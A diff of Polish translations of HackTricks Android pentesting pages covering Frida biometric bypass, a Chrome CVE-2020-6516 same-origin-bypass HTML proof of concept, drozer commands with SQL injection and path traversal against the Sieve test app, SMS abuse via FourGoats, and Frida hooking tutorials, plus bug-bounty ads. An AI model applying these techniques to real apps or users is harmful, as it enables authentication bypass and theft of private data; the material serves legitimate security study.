Skupiamy się tutaj na _onAuthenticationSucceeded_ callback, który jest kluczowy w procesie uwierzytelniania. Badacze z WithSecure opracowali [skrypt Frida](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), umożliwiający ominięcie NULL _CryptoObject_ w _onAuthenticationSucceeded(...)_. Skrypt wymusza automatyczne ominięcie uwierzytelniania odciskiem palca po wywołaniu metody. Poniżej znajduje się uproszczony fragment demonstrujący ominięcie w kontekście Android Fingerprint, a pełna aplikacja dostępna jest na [GitHub](https://github.com/St3v3nsS/InsecureBanking).
|
||||
```javascript
|
||||
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
|
||||
@Override
|
||||
@ -37,31 +43,36 @@ Hooking FingerprintManager.authenticate()...
|
||||
|
||||
Ramy instrumentacji, takie jak Xposed lub Frida, mogą być używane do podłączania się do metod aplikacji w czasie rzeczywistym. W przypadku uwierzytelniania za pomocą odcisku palca, te ramy mogą:
|
||||
|
||||
1. **Zasymulować Wywołania Uwierzytelnienia**: Poprzez podłączenie się do metod `onAuthenticationSucceeded`, `onAuthenticationFailed` lub `onAuthenticationError` klasy `BiometricPrompt.AuthenticationCallback`, możesz kontrolować wynik procesu uwierzytelniania za pomocą odcisku palca.
|
||||
1. **Zamockować Wywołania Uwierzytelniania**: Poprzez podłączenie się do metod `onAuthenticationSucceeded`, `onAuthenticationFailed` lub `onAuthenticationError` klasy `BiometricPrompt.AuthenticationCallback`, możesz kontrolować wynik procesu uwierzytelniania za pomocą odcisku palca.
|
||||
2. **Obejść SSL Pinning**: To pozwala atakującemu na przechwycenie i modyfikację ruchu między klientem a serwerem, potencjalnie zmieniając proces uwierzytelniania lub kradnąc wrażliwe dane.
|
||||
|
||||
Przykładowe polecenie dla Frida:
|
||||
```bash
|
||||
frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
|
||||
```
|
||||
## **Metoda 4 – Inżynieria wsteczna i modyfikacja kodu**
|
||||
## **Metoda 4 – Inżynieria Wsteczna i Modyfikacja Kodu**
|
||||
|
||||
Narzędzia do inżynierii wstecznej, takie jak `APKTool`, `dex2jar` i `JD-GUI`, mogą być używane do dekompilacji aplikacji na Androida, odczytania jej kodu źródłowego i zrozumienia mechanizmu uwierzytelniania. Kroki zazwyczaj obejmują:
|
||||
Narzędzia do inżynierii wstecznej, takie jak `APKTool`, `dex2jar` i `JD-GUI`, mogą być używane do dekompilacji aplikacji na Androida, odczytu jej kodu źródłowego i zrozumienia mechanizmu uwierzytelniania. Kroki zazwyczaj obejmują:
|
||||
|
||||
1. **Dekompilacja APK**: Konwersja pliku APK na bardziej czytelny format (np. kod Java).
|
||||
2. **Analiza kodu**: Szukanie implementacji uwierzytelniania za pomocą odcisku palca i identyfikacja potencjalnych słabości (np. mechanizmy zapasowe lub niewłaściwe kontrole walidacji).
|
||||
3. **Rekompilacja APK**: Po modyfikacji kodu w celu ominięcia uwierzytelniania za pomocą odcisku palca, aplikacja jest rekompilowana, podpisywana i instalowana na urządzeniu do testów.
|
||||
2. **Analiza Kodu**: Szukanie implementacji uwierzytelniania za pomocą odcisków palców i identyfikacja potencjalnych słabości (np. mechanizmy zapasowe lub niewłaściwe kontrole walidacji).
|
||||
3. **Rekompilacja APK**: Po modyfikacji kodu w celu ominięcia uwierzytelniania za pomocą odcisków palców, aplikacja jest rekompilowana, podpisywana i instalowana na urządzeniu do testowania.
|
||||
|
||||
## **Metoda 5 – Użycie niestandardowych narzędzi uwierzytelniających**
|
||||
## **Metoda 5 – Użycie Niestandardowych Narzędzi Uwierzytelniających**
|
||||
|
||||
Istnieją specjalistyczne narzędzia i skrypty zaprojektowane do testowania i omijania mechanizmów uwierzytelniania. Na przykład:
|
||||
|
||||
1. **Moduły MAGISK**: MAGISK to narzędzie dla Androida, które pozwala użytkownikom na rootowanie swoich urządzeń i dodawanie modułów, które mogą modyfikować lub fałszować informacje na poziomie sprzętowym, w tym odciski palców.
|
||||
2. **Niestandardowe skrypty**: Skrypty mogą być pisane w celu interakcji z Android Debug Bridge (ADB) lub bezpośrednio z backendem aplikacji, aby symulować lub omijać uwierzytelnianie za pomocą odcisku palca.
|
||||
2. **Niestandardowe skrypty**: Skrypty mogą być pisane w celu interakcji z Android Debug Bridge (ADB) lub bezpośrednio z backendem aplikacji, aby symulować lub omijać uwierzytelnianie za pomocą odcisków palców.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pogłęb swoją wiedzę w **Bezpieczeństwie Mobilnym** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Android dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,5 +1,8 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**To jest podsumowanie posta [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||||
|
||||
@ -35,17 +38,17 @@ content query --uri content://media/external/file \
|
||||
```
|
||||
Plik można następnie wyświetlić w Chrome, używając adresu URL skonstruowanego z identyfikatora pliku.
|
||||
|
||||
Na przykład, aby wylistować pliki związane z konkretną aplikacją:
|
||||
Na przykład, aby wyświetlić pliki związane z konkretną aplikacją:
|
||||
```bash
|
||||
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
||||
```
|
||||
### Chrome CVE-2020-6516: Ominięcie Polityki Takiej Samej Pochodzenia
|
||||
|
||||
_Protokół Takiej Samej Pochodzenia_ (SOP) to protokół bezpieczeństwa w przeglądarkach, który ogranicza interakcje stron internetowych z zasobami z różnych źródeł, chyba że wyraźnie dozwolone przez politykę Cross-Origin-Resource-Sharing (CORS). Polityka ta ma na celu zapobieganie wyciekom informacji i fałszywym żądaniom między witrynami. Chrome traktuje `content://` jako lokalny schemat, co implikuje surowsze zasady SOP, gdzie każdy lokalny URL schematu jest traktowany jako osobne pochodzenie.
|
||||
_**Polityka Takiej Samej Pochodzenia**_ (SOP) to protokół bezpieczeństwa w przeglądarkach, który ogranicza interakcje stron internetowych z zasobami z różnych źródeł, chyba że wyraźnie dozwolone przez politykę Cross-Origin-Resource-Sharing (CORS). Polityka ta ma na celu zapobieganie wyciekom informacji i fałszywym żądaniom między witrynami. Chrome traktuje `content://` jako lokalny schemat, co implikuje surowsze zasady SOP, gdzie każdy lokalny URL schematu jest traktowany jako osobne pochodzenie.
|
||||
|
||||
Jednak CVE-2020-6516 była luką w Chrome, która pozwalała na ominięcie zasad SOP dla zasobów ładowanych za pomocą URL `content://`. W efekcie, kod JavaScript z URL `content://` mógł uzyskać dostęp do innych zasobów ładowanych za pomocą URL `content://`, co stanowiło poważny problem bezpieczeństwa, szczególnie na urządzeniach z Androidem działających w wersjach wcześniejszych niż Android 10, gdzie nie wdrożono ograniczonego przechowywania.
|
||||
Jednak CVE-2020-6516 była luką w Chrome, która pozwalała na ominięcie zasad SOP dla zasobów ładowanych za pomocą URL `content://`. W efekcie kod JavaScript z URL `content://` mógł uzyskać dostęp do innych zasobów ładowanych za pomocą URL `content://`, co stanowiło poważny problem bezpieczeństwa, szczególnie na urządzeniach z Androidem działających w wersjach wcześniejszych niż Android 10, gdzie nie wprowadzono przechowywania w zakresie.
|
||||
|
||||
Poniższy dowód koncepcji demonstruje tę lukę, gdzie dokument HTML, po przesłaniu pod **/sdcard** i dodaniu do Media Store, używa `XMLHttpRequest` w swoim JavaScript, aby uzyskać dostęp do i wyświetlić zawartość innego pliku w Media Store, omijając zasady SOP.
|
||||
Poniższy dowód koncepcji demonstruje tę lukę, gdzie dokument HTML, po przesłaniu pod **/sdcard** i dodaniu do Media Store, używa `XMLHttpRequest` w swoim JavaScript, aby uzyskać dostęp i wyświetlić zawartość innego pliku w Media Store, omijając zasady SOP.
|
||||
|
||||
Dowód koncepcji HTML:
|
||||
```xml
|
||||
@ -76,4 +79,8 @@ xhr.send();
|
||||
<body onload="poc()"></body>
|
||||
</html>
|
||||
```
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
<img src="../../../images/i3.png" alt="" data-size="original">
|
||||
|
||||
**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## APKs do testowania
|
||||
|
||||
@ -29,7 +33,7 @@ Agent działa na porcie 31415, musimy [przekierować port](https://en.wikipedia.
|
||||
```bash
|
||||
adb forward tcp:31415 tcp:31415
|
||||
```
|
||||
Na koniec **uruchom** **aplikację** i naciśnij przycisk "**ON**"
|
||||
Na koniec, **uruchom** **aplikację** i naciśnij przycisk "**ON**"
|
||||
|
||||
.png>)
|
||||
|
||||
@ -40,18 +44,18 @@ drozer console connect
|
||||
## Ciekawe Komendy
|
||||
|
||||
| **Komendy** | **Opis** |
|
||||
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Help MODULE** | Pokazuje pomoc wybranego modułu |
|
||||
| **list** | Pokazuje listę wszystkich modułów drozer, które można wykonać w bieżącej sesji. Ukrywa moduły, do których nie masz odpowiednich uprawnień. |
|
||||
| **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta. |
|
||||
| **clean** | Usuwa tymczasowe pliki przechowywane przez drozer na urządzeniu z Androidem. |
|
||||
| **load** | Ładuje plik zawierający polecenia drozer i wykonuje je w kolejności. |
|
||||
| **load** | Ładuje plik zawierający komendy drozer i wykonuje je w kolejności. |
|
||||
| **module** | Znajduje i instaluje dodatkowe moduły drozer z Internetu. |
|
||||
| **unset** | Usuwa nazwaną zmienną, którą drozer przekazuje do wszelkich powłok Linux, które uruchamia. |
|
||||
| **set** | Przechowuje wartość w zmiennej, która zostanie przekazana jako zmienna środowiskowa do wszelkich powłok Linux uruchamianych przez drozer. |
|
||||
| **unset** | Usuwa nazwaną zmienną, którą drozer przekazuje do dowolnych powłok Linux, które uruchamia. |
|
||||
| **set** | Przechowuje wartość w zmiennej, która zostanie przekazana jako zmienna środowiskowa do dowolnych powłok Linux uruchamianych przez drozer. |
|
||||
| **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta |
|
||||
| **run MODULE** | Wykonuje moduł drozer |
|
||||
| **exploit** | Drozer może tworzyć exploity do wykonania w urządzeniu. `drozer exploit list` |
|
||||
| **exploit** | Drozer może tworzyć exploity do wykonania na urządzeniu. `drozer exploit list` |
|
||||
| **payload** | Exploity potrzebują ładunku. `drozer payload list` |
|
||||
|
||||
### Pakiet
|
||||
@ -95,7 +99,7 @@ Attack Surface:
|
||||
2 services exported
|
||||
is debuggable
|
||||
```
|
||||
- **Aktywności**: Może uda ci się uruchomić aktywność i obejść jakiś rodzaj autoryzacji, która powinna cię powstrzymać przed jej uruchomieniem.
|
||||
- **Aktywności**: Może uda ci się uruchomić aktywność i obejść jakiś rodzaj autoryzacji, która powinna uniemożliwić jej uruchomienie.
|
||||
- **Dostawcy treści**: Może uda ci się uzyskać dostęp do prywatnych danych lub wykorzystać jakąś lukę (SQL Injection lub Path Traversal).
|
||||
- **Usługi**:
|
||||
- **jest debugowalny**: [Dowiedz się więcej](./#is-debuggeable)
|
||||
@ -138,7 +142,7 @@ Eksportowana usługa jest zadeklarowana w pliku Manifest.xml:
|
||||
```markup
|
||||
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
|
||||
```
|
||||
W kodzie **sprawdź** funkcję **`handleMessage`**, która **odbierze** **wiadomość**:
|
||||
W kodzie **sprawdź** funkcję **`handleMessage`**, która **otrzyma** **wiadomość**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -216,7 +220,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu
|
||||
```
|
||||
#### Wyślij wiadomość
|
||||
|
||||
W tym przykładzie wykorzystując [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider możesz **wysłać dowolny SMS** do dowolnego niepremium odbiorcy **bez pytania** użytkownika o pozwolenie.
|
||||
W tym przykładzie wykorzystując [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider możesz **wysłać dowolny SMS** do dowolnego niepremium miejsca **bez pytania** użytkownika o pozwolenie.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -229,7 +233,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
|
||||
### Czy jest debugowalny
|
||||
|
||||
Produkcja APK nigdy nie powinna być debugowalna.\
|
||||
Oznacza to, że możesz **przyłączyć debugger java** do działającej aplikacji, sprawdzić ją w czasie rzeczywistym, ustawić punkty przerwania, przechodzić krok po kroku, zbierać wartości zmiennych, a nawet je zmieniać. [Instytut InfoSec ma doskonały artykuł](../exploiting-a-debuggeable-applciation.md) na temat głębszego badania, gdy twoja aplikacja jest debugowalna i wstrzykiwania kodu w czasie wykonywania.
|
||||
Oznacza to, że możesz **przyłączyć debuger java** do działającej aplikacji, sprawdzić ją w czasie rzeczywistym, ustawić punkty przerwania, przechodzić krok po kroku, zbierać wartości zmiennych, a nawet je zmieniać. [Instytut InfoSec ma doskonały artykuł](../exploiting-a-debuggeable-applciation.md) na temat głębszego badania, gdy twoja aplikacja jest debugowalna i wstrzykiwania kodu w czasie wykonywania.
|
||||
|
||||
Gdy aplikacja jest debugowalna, pojawi się w Manifeście:
|
||||
```xml
|
||||
@ -250,6 +254,10 @@ run app.package.debuggable
|
||||
|
||||
- [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
|
||||
|
||||
<img src="../../../images/i3.png" alt="" data-size="original">
|
||||
|
||||
**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Wprowadzenie
|
||||
## Wstęp
|
||||
|
||||
Dane są **dostarczane z jednej aplikacji do innych** na żądanie przez komponent znany jako **dostawca treści**. Te żądania są zarządzane przez metody klasy **ContentResolver**. Dostawcy treści mogą przechowywać swoje dane w różnych lokalizacjach, takich jak **baza danych**, **pliki** lub przez **sieć**.
|
||||
|
||||
@ -87,34 +87,34 @@ password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
|
||||
-
|
||||
email: incognitoguy50@gmail.com
|
||||
```
|
||||
### Wstaw zawartość
|
||||
### Wstawianie treści
|
||||
|
||||
Zapytując bazę danych, dowiesz się o **nazwach kolumn**, a następnie będziesz mógł wstawić dane do DB:
|
||||
Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
_Uwaga, że w przypadku wstawiania i aktualizacji możesz użyć --string, aby wskazać ciąg, --double, aby wskazać podwójną, --float, --integer, --long, --short, --boolean_
|
||||
_Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_
|
||||
|
||||
### Zaktualizuj zawartość
|
||||
### Aktualizacja treści
|
||||
|
||||
Znając nazwy kolumn, możesz również **zmodyfikować wpisy**:
|
||||
Knowing the name of the columns you could also **modify the entries**:
|
||||
|
||||
.png>)
|
||||
|
||||
### Usuń zawartość
|
||||
### Usuwanie treści
|
||||
|
||||
.png>)
|
||||
|
||||
### **SQL Injection**
|
||||
|
||||
Łatwo jest przetestować SQL injection **(SQLite)**, manipulując **projekcją** i **polami wyboru**, które są przekazywane do dostawcy treści.\
|
||||
Podczas zapytania do Content Provider istnieją 2 interesujące argumenty do wyszukiwania informacji: _--selection_ i _--projection_:
|
||||
It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\
|
||||
When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_:
|
||||
|
||||
.png>)
|
||||
|
||||
Możesz spróbować **nadużyć** tych **parametrów**, aby przetestować **SQL injection**:
|
||||
You can try to **abuse** this **parameters** to test for **SQL injections**:
|
||||
```
|
||||
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
|
||||
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
|
||||
@ -155,7 +155,7 @@ Dostawcy treści mogą być również używani do **uzyskiwania dostępu do plik
|
||||
|
||||
### Odczytaj **plik**
|
||||
|
||||
Możesz odczytać pliki z dostawcy treści
|
||||
Możesz odczytać pliki z dostawcy treści.
|
||||
```
|
||||
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
|
||||
127.0.0.1 localhost
|
||||
@ -167,7 +167,7 @@ Jeśli możesz uzyskać dostęp do plików, możesz spróbować wykorzystać Pat
|
||||
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
|
||||
127.0.0.1 localhost
|
||||
```
|
||||
**Automatyczne odkrywanie przejść ścieżek przez Drozer**
|
||||
**Automatyczne odkrywanie przejść w ścieżkach przez Drozer**
|
||||
```
|
||||
dz> run scanner.provider.traversal -a com.mwr.example.sieve
|
||||
Scanning com.mwr.example.sieve...
|
||||
|
@ -26,7 +26,7 @@ Treść oparta na https://medium.com/@shubhamsonani/hacking-with-precision-bypas
|
||||
|
||||
- Wykonaj `adb shell pm list packages –3`, aby wylistować aplikacje firm trzecich i znaleźć nazwę pakietu.
|
||||
|
||||
4. **Ustaw aplikację na oczekiwanie na połączenie debugera:**
|
||||
4. **Ustaw aplikację, aby czekała na połączenie debugera:**
|
||||
|
||||
- Polecenie: `adb shell am setup-debug-app –w <package_name>`.
|
||||
- **Uwaga:** To polecenie musi być uruchamiane za każdym razem przed uruchomieniem aplikacji, aby upewnić się, że czeka na debuger.
|
||||
@ -53,9 +53,9 @@ Dla kontroli debugowalności:
|
||||
|
||||

|
||||
|
||||
Te kroki zbiorczo zapewniają, że aplikacja może być debugowana i że pewne kontrole bezpieczeństwa mogą być omijane przy użyciu debuggera, co ułatwia bardziej szczegółową analizę lub modyfikację zachowania aplikacji.
|
||||
Te kroki łącznie zapewniają, że aplikacja może być debugowana i że pewne kontrole bezpieczeństwa mogą być omijane przy użyciu debuggera, co ułatwia bardziej szczegółową analizę lub modyfikację zachowania aplikacji.
|
||||
|
||||
Krok 2 polega na zmianie wartości flagi na 814267972, która jest reprezentowana w postaci binarnej jako 110000101101000000100010100.
|
||||
Krok 2 polega na zmianie wartości flagi na 814267972, co jest reprezentowane w postaci binarnej jako 110000101101000000100010100.
|
||||
|
||||
# **Wykorzystywanie luki**
|
||||
|
||||
|
@ -2,6 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Instalacja
|
||||
|
||||
@ -33,7 +38,7 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
### [Samouczek 2](frida-tutorial-2.md)
|
||||
|
||||
**Z**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Części 2, 3 i 4)\
|
||||
**APK i kod źródłowy**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
**APKi i kod źródłowy**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
**Śledź [link, aby to przeczytać.](frida-tutorial-2.md)**
|
||||
|
||||
@ -48,7 +53,7 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
|
||||
## Szybkie przykłady
|
||||
|
||||
### Wywoływanie Frida z linii poleceń
|
||||
### Wywoływanie Frida z wiersza poleceń
|
||||
```bash
|
||||
frida-ps -U
|
||||
|
||||
@ -117,7 +122,7 @@ var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
|
||||
```
|
||||
### Hooking functions with parameters and retrieving the value
|
||||
|
||||
Hookowanie funkcji deszyfrującej. Wydrukuj dane wejściowe, wywołaj oryginalną funkcję, aby deszyfrować dane wejściowe, a na koniec wydrukuj dane w postaci jawnej:
|
||||
Hookowanie funkcji deszyfrującej. Wydrukuj dane wejściowe, wywołaj oryginalną funkcję, aby odszyfrować dane wejściowe, a na koniec wydrukuj dane w postaci jawnej:
|
||||
```javascript
|
||||
function getString(data) {
|
||||
var ret = ""
|
||||
@ -177,5 +182,10 @@ onComplete: function () {},
|
||||
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
|
||||
- [Część 1 serii blogów o zaawansowanym użyciu Frida: Biblioteki szyfrowania IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
|
||||
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,6 +2,12 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
**To jest podsumowanie posta**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
**Kod źródłowy**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
@ -10,7 +16,7 @@
|
||||
|
||||
Frida pozwala na **wstawienie kodu JavaScript** wewnątrz funkcji działającej aplikacji. Możesz jednak użyć **python** do **wywoływania** hooków, a nawet do **interakcji** z **hookami**.
|
||||
|
||||
To prosty skrypt w pythonie, który możesz użyć we wszystkich proponowanych przykładach w tym tutorialu:
|
||||
To jest prosty skrypt w pythonie, który możesz użyć we wszystkich proponowanych przykładach w tym tutorialu:
|
||||
```python
|
||||
#hooking.py
|
||||
import frida, sys
|
||||
@ -55,7 +61,7 @@ Patrz: Funkcja przyjmuje jako parametr String, czy nie trzeba przeciążać?
|
||||
|
||||
### Funkcja niena statyczna
|
||||
|
||||
Jeśli chcesz wywołać niena statyczną funkcję klasy, **najpierw potrzebujesz instancji** tej klasy. Następnie możesz użyć tej instancji do wywołania funkcji.\
|
||||
Jeśli chcesz wywołać niena statyczną funkcję klasy, **najpierw potrzebujesz instancji** tej klasy. Następnie możesz użyć tej instancji, aby wywołać funkcję.\
|
||||
Aby to zrobić, możesz **znaleźć istniejącą instancję** i użyć jej:
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
@ -114,9 +120,14 @@ return encrypted_ret
|
||||
```
|
||||
## Ważne
|
||||
|
||||
W tym samouczku podłączyłeś metody używając nazwy metody i _.implementation_. Ale jeśli było **więcej niż jedna metoda** o tej samej nazwie, będziesz musiał **określić metodę**, którą chcesz podłączyć **wskazując typ argumentów**.
|
||||
W tym samouczku podłączyłeś metody używając nazwy metody i _.implementation_. Ale jeśli było **więcej niż jedna metoda** o tej samej nazwie, będziesz musiał **określić metodę**, którą chcesz podłączyć, **wskazując typ argumentów**.
|
||||
|
||||
Możesz to zobaczyć w [następnym samouczku](frida-tutorial-2.md).
|
||||
|
||||
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,6 +2,12 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
**To jest podsumowanie posta**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Części 2, 3 i 4)\
|
||||
**APKi i kod źródłowy**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
@ -12,8 +18,8 @@ Część 1 jest bardzo łatwa.
|
||||
## Część 2
|
||||
|
||||
Tutaj możesz zobaczyć przykład, jak **hookować 2 funkcje o tej samej nazwie**, ale z różnymi parametrami.\
|
||||
Również nauczysz się, jak **wywołać funkcję z własnymi parametrami**.\
|
||||
Na koniec jest przykład, jak **znaleźć instancję klasy i wywołać funkcję**.
|
||||
Ponadto nauczysz się, jak **wywołać funkcję z własnymi parametrami**.\
|
||||
Na koniec jest przykład, jak **znaleźć instancję klasy i sprawić, by wywołała funkcję**.
|
||||
```javascript
|
||||
//s2.js
|
||||
console.log("Script loaded successfully ");
|
||||
@ -48,7 +54,7 @@ onComplete: function () { }
|
||||
});
|
||||
});
|
||||
```
|
||||
Możesz zobaczyć, że aby utworzyć String, najpierw odwołano się do klasy _java.lang.String_, a następnie utworzono obiekt _$new_ tej klasy z Stringiem jako zawartością. To jest poprawny sposób na utworzenie nowego obiektu klasy. Ale w tym przypadku mógłbyś po prostu przekazać do `this.fun()` dowolny String, na przykład: `this.fun("hey there!")`
|
||||
Możesz zobaczyć, że aby stworzyć String, najpierw odwołano się do klasy _java.lang.String_, a następnie stworzono obiekt _$new_ tej klasy z Stringiem jako zawartością. To jest poprawny sposób na stworzenie nowego obiektu klasy. Ale w tym przypadku, mógłbyś po prostu przekazać do `this.fun()` dowolny String, na przykład: `this.fun("hey there!")`
|
||||
|
||||
### Python
|
||||
```python
|
||||
@ -106,7 +112,7 @@ script.exports.callsecretfunction()
|
||||
elif command == "3":
|
||||
script.exports.hooksecretfunction()
|
||||
```
|
||||
Polecenie "**1**" **wyjdzie**, polecenie "**2**" znajdzie i **instancję klasy i wywoła prywatną funkcję** _**secret()**_, a polecenie "**3**" **przechwyci** funkcję _**secret()**_, aby **zwróciła** **inny ciąg**.
|
||||
Polecenie "**1**" **wyjdzie**, polecenie "**2**" znajdzie i **instancję klasy i wywoła prywatną funkcję** _**secret()**_, a polecenie "**3**" **przyczepi** funkcję _**secret()**_, aby **zwróciła** **inny ciąg**.
|
||||
|
||||
Więc, jeśli wywołasz "**2**", otrzymasz **prawdziwy sekret**, ale jeśli wywołasz "**3**", a następnie "**2**", otrzymasz **fałszywy sekret**.
|
||||
|
||||
@ -204,5 +210,10 @@ return this.setText(string_to_recv)
|
||||
```
|
||||
